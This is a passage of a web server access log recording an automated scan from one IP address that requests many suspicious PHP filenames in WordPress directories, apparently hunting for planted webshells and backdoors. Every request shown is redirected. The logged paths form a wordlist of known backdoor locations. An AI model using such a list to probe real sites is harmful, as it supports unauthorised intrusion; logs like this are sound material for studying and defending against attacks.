Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:25 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:26 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 20.171.207.254 - - [27/Apr/2025:19:23:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:27 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:28 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:29 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:30 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:31 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:32 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:33 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:34 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:35 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:36 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:37 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:38 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:39 -0400] "GET /wp-admin/maint/searchy.php 